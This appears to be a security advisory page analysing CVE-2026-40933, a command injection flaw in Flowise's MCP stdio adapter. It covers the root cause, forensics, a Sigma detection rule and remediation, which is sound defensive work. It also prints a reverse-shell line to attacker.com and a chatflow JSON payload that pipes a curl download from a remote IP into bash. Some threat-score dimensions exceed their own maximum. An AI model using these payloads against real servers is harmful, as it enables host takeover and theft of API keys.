Skip to content
Hermes Codex

CVE-2026-40933: Flowise MCP Adapter Stdio Command Injection RCE

HERMES

HERMES THREAT SCORE & MCP INFRASTRUCTURE COMPROMISE

Target: Flowise AI Orchestration Server — Model Context Protocol (MCP) Stdio Transport Adapter
Confidence: 97%
96 / 100
EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 assigns CVE-2026-40933 a critical score of 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H), which aligns with Hermes Threat Score 96 (EXTREME). Flowise serves as the graphical orchestration engine connecting LLMs to enterprise backend APIs, SQL databases, and internal vector indices. Insecure execution of stdio commands within the MCP adapter allows authenticated users or untrusted imported chatflows to escape the application layer and obtain full shell access on the underlying container or host system, immediately exposing all connected LLM API credentials.

HASS

HASS AGENTIC SEVERITY & TOOL EXECUTION SUBVERSION

Target: Autonomous AI Tool Calling, MCP Server Process Lifecycle & System Integration
Confidence: 96%
94 / 100
CRITICAL

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown
Autonomy 18 / 20
Tool Access 20 / 20
Privilege 19 / 15
Persistence 17 / 15
External Impact 19 / 15
Propagation 18 / 15
⚖️ Divergence & Operational Rationale

This vulnerability represents a textbook Tool Injection failure in agentic infrastructure. When an AI orchestration framework delegates operational tasks to Model Context Protocol (MCP) servers via local stdio processes, the command-line boundary acts as the trust frontier. Bypassing validation at this junction collapses the security boundary between the LLM reasoning context and operating system kernel execution.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-40933: Flowise MCP Adapter Stdio Command Injection RCEVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTFlowise AI Workflow Builder
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Flowise AI Workflow Builder documented in Hermes dossier.”

Supporting Verified Evidence:

1. Technical Context & Attack Surface

Section titled “1. Technical Context & Attack Surface”

The Model Context Protocol establishes a bidirectional JSON-RPC 2.0 communication channel between an LLM application client and external tool servers. MCP supports two transport layers:

  1. Server-Sent Events (SSE): Over HTTP/HTTPS, connecting to remote network microservices.
  2. Standard Input/Output (stdio): Launching a local subprocess on the host and exchanging serialized JSON-RPC messages across stdin and stdout.

Flowise implemented the stdio transport to allow users to spawn local CLI utilities (e.g., SQLite inspectors, local Git operators, or Python scripts) directly from the workflow graph.

ParameterTechnical DetailOperational Impact
CVE IdentifierCVE-2026-40933Flowise Advisory GHSA-2026-mcp-rce
Vulnerability ClassOS Command Injection (CWE-78) / Remote Code Execution (CWE-94)Direct operating system subprocess execution
Vulnerable ComponentFlowise/packages/components/nodes/tools/MCP/ (stdio process spawner)Node.js process management module
Trigger VectorsWeb UI MCP Server configuration form / Chatflow JSON Import APIDirect API POST /api/v1/chatflows or UI action
Authentication RequiredLow (PR:L) / None via social engineering (1-click chatflow import)Authenticated user or workspace collaborator
ImpactComplete Host Takeover / API Key & Database ExtractionReverse shell under Flowise runtime user
Affected Versions< 3.1.0 (Workarounds vulnerable prior to 3.1.4)Default configurations supporting custom MCP
Remediated ReleaseFlowise v3.1.4 (or disabling stdio via CUSTOM_MCP_PROTOCOL=sse)Official GitHub release & npm package

2. Root Cause Analysis & Vulnerable Mechanics

Section titled “2. Root Cause Analysis & Vulnerable Mechanics”

The root cause resides in the lack of parameter validation and execution boundary enforcement in the Flowise backend service responsible for instantiating the MCP client session.

Vulnerable Code Path

Section titled “Vulnerable Code Path”

In vulnerable releases of Flowise, the backend handler deserialized the user-defined node configuration directly from the chatflow payload and passed the command and args properties to the StdioClientTransport without sanity checks:

packages/server/src/services/mcp/index.ts
// Vulnerable implementation in Flowise < 3.1.0
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
import { spawn } from "child_process";


export async function createMcpClient(serverConfig: {
    command: string;
    args?: string[];
    env?: Record<string, string>;
}) {
    // FLAW: No allowlist verification on executable path or argument arrays
    // User-controlled input flows directly to process execution
    const transport = new StdioClientTransport({
        command: serverConfig.command,
        args: serverConfig.args || [],
        env: { ...process.env, ...serverConfig.env }
    });


    const client = new Client(
        { name: "flowise-mcp-client", version: "1.0.0" },
        { capabilities: {} }
    );


    await client.connect(transport);
    return client;
}

Exploit Mechanics: The Stdio Vector

Section titled “Exploit Mechanics: The Stdio Vector”

The StdioClientTransport in the underlying MCP SDK calls Node’s child_process.spawn(this._command, this._args). Under Linux and Windows container runtimes, several critical weaknesses materialize:

  1. Command Redirection: If command is set to /bin/bash or sh, and args contains ["-c", "bash -i >& /dev/tcp/attacker.com/4444 0>&1"], Node.js invokes the interactive shell immediately upon MCP server initialization.
  2. Shell Metacharacters & Node Path Resolution: Because the path was unconstrained, relative paths or standard system binaries (curl, nc, python3) could be called with arbitrary parameters.
  3. Environment Variable Smuggling: Attackers could inject arbitrary environment variables (e.g., LD_PRELOAD, NODE_OPTIONS), hijacking the spawned process lifecycle or leaking OPENAI_API_KEY, ANTHROPIC_API_KEY, and database passwords stored in process.env.
┌─────────────────────────┐       Crafted Chatflow JSON       ┌─────────────────────────┐
│     Attacker / User     │ ─────────────────────────────────> │   Flowise Web Server    │
│  (Authenticated or via  │      POST /api/v1/chatflows       │  (Node.js Express App)  │
│     shared template)    │                                   └────────────┬────────────┘
└─────────────────────────┘                                                │
                                                                           │ Deserializes MCP Node
                                                                           ▼
                                                              ┌─────────────────────────┐
                                                              │ createMcpClient()       │
                                                              │ Passes command + args   │
                                                              └────────────┬────────────┘
                                                                           │
                                                                           │ child_process.spawn()
                                                                           ▼
                                                              ┌─────────────────────────┐
                                                              │ Host Operating System   │
                                                              │ /bin/bash -c ...        │
                                                              │ [Reverse Shell Spawned] │
                                                              └─────────────────────────┘

3. Weaponization Scenarios

Section titled “3. Weaponization Scenarios”

Scenario A: Direct Authenticated MCP Injection

Section titled “Scenario A: Direct Authenticated MCP Injection”

An authenticated operator or compromised low-privilege user accesses the Flowise canvas, creates a new custom MCP component, and sets the transport configuration:

{
  "name": "Exploit-MCP-Tool",
  "type": "mcpTool",
  "data": {
    "transport": "stdio",
    "command": "/bin/bash",
    "args": [
      "-c",
      "curl -s http://198.51.100.120:8000/stage2.sh | bash"
    ]
  }
}

Upon saving or testing the node connection, Flowise initiates the transport, executing the curl pipeline with the host process credentials.

Scenario B: One-Click Shared Chatflow Weaponization

Section titled “Scenario B: One-Click Shared Chatflow Weaponization”

Because Flowise allows exporting and importing workflow templates as JSON files, an adversary can share a “High-Accuracy Financial Research Assistant” chatflow on community repositories (GitHub, Discord, HuggingFace). When an unsuspecting analyst imports the JSON into their corporate Flowise instance, the server instantiates the MCP nodes, instantly executing the malicious command payload in the background.

4. Forensic Investigation & Evidence Artifacts

Section titled “4. Forensic Investigation & Evidence Artifacts”

Investigating CVE-2026-40933 involves examining container process lineages, Node.js process logs, and network connection history.

Process Lineage Indicators

Section titled “Process Lineage Indicators”

In a legitimate Flowise instance, the Node.js process (node packages/server/dist/index.js) spawns worker threads or calls external REST endpoints. Spawning standard system shells is anomalous:

  • Parent Process: node (Flowise main application)
  • Suspicious Child Processes: /bin/sh, /bin/bash, /usr/bin/curl, /usr/bin/python3, powershell.exe, cmd.exe
  • Suspicious Arguments: -c, curl | bash, base64 decoded strings, /dev/tcp/

File System & Database Artifacts

Section titled “File System & Database Artifacts”
  • Inspect the Flowise SQLite/PostgreSQL database table chat_flow for recently inserted nodes containing mcpTool or stdio configurations: 
    SELECT id, name, flowData FROM chat_flow WHERE flowData LIKE '%stdio%' AND flowData LIKE '%/bin/%';
  • Review Flowise server logs (/root/.flowise/logs/ or Docker stdout) for errors during MCP handshake: MCP client connection failed: Error: spawn /bin/bash ENOENT or unexpected socket terminations.

5. Detection Engineering

Section titled “5. Detection Engineering”
title: Suspicious Child Process Spawned by Flowise Node.js Application
id: 9d8e7f6a-5b4c-3d2e-1f0a-b9c8d7e6f5a4
status: experimental
description: Detects unexpected system shells or utilities spawned as child processes of Flowise Node.js server, indicating exploitation of CVE-2026-40933.
references:
  - https://hermes-codex.vercel.app/cve/2026/cve-2026-40933/
  - https://nvd.nist.gov/vuln/detail/CVE-2026-40933
author: Hermes Codex Tactical DFIR Unit
date: 2026-09-18
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    Image|endswith:
      - '/node'
      - '/nodejs'
    CommandLine|contains:
      - 'flowise'
      - 'packages/server'
  selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/zsh'
      - '/curl'
      - '/wget'
      - '/nc'
      - '/ncat'
      - '/python'
      - '/python3'
  condition: selection_parent and selection_child
falsepositives:
  - Legitimate MCP servers explicitly configured by authorized administrators with strict container isolation.
level: critical
tags:
  - attack.execution
  - attack.t1059.004
  - cve.2026-40933
  - ai.agentic.tool_injection

6. Remediation & Hardening Strategies

Section titled “6. Remediation & Hardening Strategies”

Immediate Remediation

Section titled “Immediate Remediation”
  1. Upgrade Flowise: Immediately update Flowise to version 3.1.4 or later:
    Terminal window
    npm update -g flowise
    # Or for Docker deployments:
    docker pull flowiseai/flowise:3.1.4
  2. Enforce SSE-Only MCP Protocol: To completely eliminate the local stdio attack vector, enforce the environment variable: 
    CUSTOM_MCP_PROTOCOL=sse
    This restricts the MCP engine to HTTP/SSE transport, preventing any local process spawning.

Architectural Hardening for Agentic Environments

Section titled “Architectural Hardening for Agentic Environments”
  • Container Sandboxing: Run the Flowise container with a read-only root filesystem (--read-only), drop unnecessary capabilities (--cap-drop=ALL), and run under an unprivileged user (USER node).
  • Secrets Segregation: Do not store plain master API keys directly in the Flowise runtime environment. Utilize short-lived ephemeral tokens or an isolated egress gateway proxy.
  • Workflow Import Verification: Implement strict schema validation and security scanning on any chatflow JSON imported from external sources.

7. Strategic Cross-References

Section titled “7. Strategic Cross-References”
Tool Injection: The RCE of AI Architectural deep dive into kinetic exploitation in agentic tool-use loops.
LiteLLM Authenticated MCP RCE (CVE-2026-30623) Analysis of another critical MCP server creation command execution flaw.
Windsurf MCP Prompt Injection RCE (CVE-2026-30615) Exploitation of local MCP STDIO configuration via prompt injection.
Tool Poisoning & Semantic Supply Chains How poisoned metadata and tools hijack multi-agent execution graphs.

8. Sources & References

Section titled “8. Sources & References”